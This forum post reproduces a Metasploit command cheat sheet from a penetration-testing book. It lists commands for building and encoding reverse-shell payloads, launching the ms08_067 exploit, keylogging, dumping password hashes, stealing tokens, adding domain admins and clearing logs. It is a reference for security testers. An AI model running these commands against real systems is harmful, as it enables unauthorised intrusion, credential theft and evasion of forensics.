Nytro Posted November 12, 2011 Report Posted November 12, 2011 Metasploit Commands – CLI IndexI was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading .This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities.MSFconsole Commands:show exploitsShow all exploits within the Framework.show payloadsShow all payloads within the Framework.show auxiliaryShow all auxiliary modules within the Framework.search nameSearch for exploits or modules within the Framework.infoLoad information about a specific exploit or module.use nameLoad an exploit or module (example: use windows/smb/psexec).LHOSTYour local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.RHOSTThe remote host or the target.set functionSet a specific value (for example, LHOST or RHOST).setg functionSet a specific value globally (for example, LHOST or RHOST).show optionsShow the options available for a module or exploit.show targetsShow the platforms supported by the exploit.set target numSpecify a specific target index if you know the OS and service pack.set payload payloadSpecify the payload to use.show advancedShow advanced options.set autorunscript migrate -fAutomatically migrate to a separate process upon exploit completion.checkDetermine whether a target is vulnerable to an attack.exploitExecute the module or exploit and attack the target.exploit -jRun the exploit under the context of the job. (This will run the exploit in the background.)exploit -zDo not interact with the session after successful exploitation.exploit -e encoderSpecify the payload encoder to use (example: exploit –e shikata_ga_nai).exploit -hDisplay help for the exploit command.sessions -lList available sessions (used when handling multiple shells).sessions -l -vList all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.sessions -s scriptRun a specific Meterpreter script on all Meterpreter live sessions.sessions -KKill all live sessions.sessions -c cmdExecute a command on all live Meterpreter sessions.sessions -u sessionIDUpgrade a normal Win32 shell to a Meterpreter console.db_create nameCreate a database to use with database-driven attacks (example: db_create autopwn).db_connect nameCreate and connect to a database for driven attacks (example: db_connect autopwn).db_n mapUse n map and place results in database. (Normal n map syntax is supported, such as –sT –v –P0.)db_autopwn -hDisplay help for using db_autopwn.db_autopwn -p -r -eRun db_autopwn against all ports found, use a reverse shell, and exploit all systems.db_destroyDelete the current database.db_destroy user:password@host:port/databaseDelete database using advanced options.Meterpreter Commands help:run scriptnameRun Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.sysinfoShow the system information on the compromised target.lsList the files and folders on the target.use privLoad the privilege extension for extended Meterpreter libraries.psShow all running processes and which accounts are associated with each process.migrate PIDMigrate to the specific process ID (PID is the target process ID gained from the ps command).use incognitoLoad incognito functions. (Used for token stealing and impersonation on a target machine.)list_tokens -uList available tokens on the target by user.list_tokens -gList available tokens on the target by group.impersonate_token DOMAIN_NAME\\USERNAMEImpersonate a token available on the target.steal_token PIDSteal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token.getsystemAttempt to elevate permissions to SYSTEM-level access through multiple attack vectors.shellDrop into an interactive shell with all available tokens.execute -f cmd.exe -iExecute cmd.exe and interact with it.execute -f cmd.exe -i -tExecute cmd.exe with all available tokens.execute -f cmd.exe -i -H -tExecute cmd.exe with all available tokens and make it a hidden process.rev2selfRevert back to the original user you used to compromise the target.reg commandInteract, create, delete, query, set, and much more in the target’s registry.setdesktop numberSwitch to a different screen based on who is logged in.screenshotTake a screenshot of the target’s screen.upload fileUpload a file to the target.download fileDownload a file from the target.keyscan_startStart sniffing keystrokes on the remote target.keyscan_dumpDump the remote keys captured on the target.keyscan_stopStop sniffing keystrokes on the remote target.getprivsGet as many privileges as possible on the target.uictl enable keyboard/mouseTake control of the keyboard and/or mouse.backgroundRun your current Meterpreter shell in the background.hashdumpDump all hashes on the target.use snifferLoad the sniffer module.sniffer_interfacesList the available interfaces on the target.sniffer_dump interfaceID pcapnameStart sniffing on the remote target.sniffer_start interfaceID packet-bufferStart sniffing with a specific range for a packet buffer.sniffer_stats interfaceIDGrab statistical information from the interface you are sniffing.sniffer_stop interfaceIDStop the sniffer.add_user username password -h ipAdd a user on the remote target.add_group_user "Domain Admins" username -h ipAdd a username to the Domain Administrators group on the remote target.clearevClear the event log on the target machine.timestompChange file attributes, such as creation date (antiforensics measure).rebootReboot the target machine.MSFpayload Commands:msfpayload -hList available payloads.msfpayload windows/meterpreter/bind_tcp OList available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exeCreate a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.rawSame as above, but export as raw format. This will be used later in msfencodemsfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.cSame as above but export as C-formatted shellcode.msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.javaExport as %u encoded JavaScript.MSFencode Commands:msfencode -hDisplay the msfencode help.msfencode -lList the available encoders.msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)Format to display the encoded buffer.msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exeEncode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exeCreate a multi-encoded payload.msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t cCreate pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.MSFcli Commands:msfcli | grep exploitShow only exploits.msfcli | grep exploit/windowsShow only Windows exploits. msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 ELaunch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.Meterpreter Post Exploitation Commands:http://pastebin.com/VmTtcz0AP.S – This Cheat Sheet is borrowed from:Metasploit The Penetration Tester’s GuideSursa: http://www.coresec.org/2011/07/28/metasploit-commands-cli-index/ Quote
yo9gjx Posted November 12, 2011 Report Posted November 12, 2011 Excelent, uite si o pagina faina Metasploit Unleashed By Offensive Security Quote